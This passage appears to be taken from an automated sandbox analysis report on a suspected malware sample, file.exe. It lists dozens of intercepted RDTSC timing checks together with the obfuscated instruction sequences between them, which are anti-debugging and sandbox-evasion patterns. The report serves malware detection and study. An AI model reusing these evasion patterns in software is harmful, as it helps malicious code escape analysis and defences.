bl, BFh 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push ecx 0x0000005a jmp 00007F5B4C774D8Ah 0x0000005f pop ecx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559DB4 second address: 559DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55AB16 second address: 55AB1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559DB8 second address: 559DBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55AB1C second address: 55AB20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559DBC second address: 559DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559DC2 second address: 559DC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ACCE second address: 55ACD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BE76 second address: 55BE90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B4C774D96h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ACD4 second address: 55ACE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F5B4D24B716h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55CB8F second address: 55CB93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55EC82 second address: 55EC86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560E07 second address: 560E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 pushad 0x00000008 jmp 00007F5B4C774D90h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 pop edi 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F5B4C774D88h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c movsx edi, di 0x0000002f mov edi, 0FEA1C61h 0x00000034 push 00000000h 0x00000036 mov edi, 34C9EE3Fh 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebp 0x00000040 call 00007F5B4C774D88h 0x00000045 pop ebp 0x00000046 mov dword ptr [esp+04h], ebp 0x0000004a add dword ptr [esp+04h], 0000001Ch 0x00000052 inc ebp 0x00000053 push ebp 0x00000054 ret 0x00000055 pop ebp 0x00000056 ret 0x00000057 mov di, cx 0x0000005a xchg eax, esi 0x0000005b push ecx 0x0000005c push eax 0x0000005d push edx 0x0000005e jp 00007F5B4C774D86h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560E87 second address: 560E95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561F1E second address: 561F28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5B4C774D86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561F28 second address: 561F36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561F36 second address: 561F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561F3D second address: 561F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55CD63 second address: 55CD69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55CD69 second address: 55CD6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55CE28 second address: 55CE33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5630C9 second address: 5630CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563F9C second address: 563FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B4C774D8Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563FB0 second address: 563FB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564134 second address: 56413E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5B4C774D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56413E second address: 564151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B4D24B71Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56BD04 second address: 56BD0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B3CA second address: 56B415 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5B4D24B71Ch 0x00000008 push edi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007F5B4D24B723h 0x00000010 pop edi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5B4D24B720h 0x0000001a pushad 0x0000001b jmp 00007F5B4D24B71Fh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B415 second address: 56B41A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B56D second address: 56B57F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5B4D24B716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F5B4D24B718h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B6E8 second address: 56B711 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5B4C774D8Ch 0x00000008 jnl 00007F5B4C774D86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 je 00007F5B4C774D8Eh 0x00000017 push eax 0x00000018 pop eax 0x00000019 jns 00007F5B4C774D86h 0x0000001f push eax 0x00000020 push edx 0x00000021 jbe 00007F5B4C774D86h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B711 second address: 56B715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B87C second address: 56B88B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B4C774D8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B88B second address: 56B8AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B71Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5B4D24B71Ch 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B8AA second address: 56B8B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F4AF second address: 56F4E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B71Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007F5B4D24B71Eh 0x00000010 push ecx 0x00000011 jp 00007F5B4D24B716h 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F5B4D24B71Bh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F4E1 second address: 56F4E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5754E1 second address: 5754EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B4D24B71Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57579B second address: 5757A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575EBE second address: 575EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576039 second address: 576047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5B4C774D86h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576047 second address: 576073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5B4D24B71Ch 0x0000000a jmp 00007F5B4D24B725h 0x0000000f popad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576073 second address: 576077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576077 second address: 57608C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B721h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57978D second address: 5797BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F5B4C774D90h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551337 second address: 551393 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5B4D24B718h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F5B4D24B718h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 movsx edi, dx 0x0000002a or edx, dword ptr [ebp+122D2967h] 0x00000030 lea eax, dword ptr [ebp+124930A6h] 0x00000036 xor edi, dword ptr [ebp+12480E62h] 0x0000003c nop 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F5B4D24B724h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551393 second address: 551399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551399 second address: 5513B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F5B4D24B71Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5513B4 second address: 52C2A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jne 00007F5B4C774D90h 0x0000000e call dword ptr [ebp+12456980h] 0x00000014 jo 00007F5B4C774DAAh 0x0000001a js 00007F5B4C774D8Eh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551481 second address: 551486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55188C second address: 551894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551B79 second address: 551B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5B4D24B716h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551BE9 second address: 551C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F5B4C774D8Ch 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551C00 second address: 551C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551C06 second address: 551C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 xchg eax, esi 0x00000007 jmp 00007F5B4C774D8Bh 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F5B4C774D86h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551CCC second address: 551CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551E4B second address: 551E83 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F5B4C774D88h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov di, cx 0x00000026 push 00000004h 0x00000028 mov dword ptr [ebp+122D26EEh], edx 0x0000002e nop 0x0000002f push edi 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551E83 second address: 551E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551E87 second address: 551EB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 jns 00007F5B4C774D9Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F5B4C774D86h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551EB2 second address: 551EB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5522A9 second address: 5522AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5522AF second address: 5522D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B727h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jbe 00007F5B4D24B71Eh 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552454 second address: 552459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55263B second address: 552675 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ecx 0x0000000c push ecx 0x0000000d jno 00007F5B4D24B716h 0x00000013 pop ecx 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jmp 00007F5B4D24B71Bh 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 jmp 00007F5B4D24B71Fh 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552675 second address: 552679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552679 second address: 55268E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F5B4D24B716h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55268E second address: 552698 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5B4C774D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552698 second address: 5526AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B4D24B722h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55274A second address: 55275C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5B4C774D86h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55275C second address: 552760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552760 second address: 552764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552764 second address: 5527C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F5B4D24B718h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 jns 00007F5B4D24B71Ch 0x00000028 lea eax, dword ptr [ebp+124930EAh] 0x0000002e sub edx, dword ptr [ebp+1247E5E7h] 0x00000034 nop 0x00000035 jmp 00007F5B4D24B720h 0x0000003a push eax 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5527C0 second address: 5527C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5527C4 second address: 52CEBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 lea eax, dword ptr [ebp+124930A6h] 0x0000000e stc 0x0000000f nop 0x00000010 jmp 00007F5B4D24B721h 0x00000015 push eax 0x00000016 push esi 0x00000017 push ecx 0x00000018 pushad 0x00000019 popad 0x0000001a pop ecx 0x0000001b pop esi 0x0000001c nop 0x0000001d or dword ptr [ebp+12467A8Ah], edx 0x00000023 call dword ptr [ebp+12452662h] 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushad 0x0000002d popad 0x0000002e jmp 00007F5B4D24B721h 0x00000033 jmp 00007F5B4D24B726h 0x00000038 push edx 0x00000039 pop edx 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CEBD second address: 52CEDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D8Ah 0x00000007 push edx 0x00000008 jmp 00007F5B4C774D92h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579BBF second address: 579BF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B722h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F5B4D24B727h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jne 00007F5B4D24B716h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A474 second address: 57A481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jo 00007F5B4C774D8Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A481 second address: 57A485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A485 second address: 57A48A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A48A second address: 57A49C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jne 00007F5B4D24B716h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EEEF second address: 57EF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F5B4C774D98h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EF0C second address: 57EF18 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5B4D24B71Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EF18 second address: 57EF26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EF26 second address: 57EF2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EF2C second address: 57EF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F5B4C774D86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F099 second address: 57F09D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F09D second address: 57F0BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B4C774D8Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F5B4C774D86h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F0BA second address: 57F0EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B726h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5B4D24B728h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F0EC second address: 57F0F1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
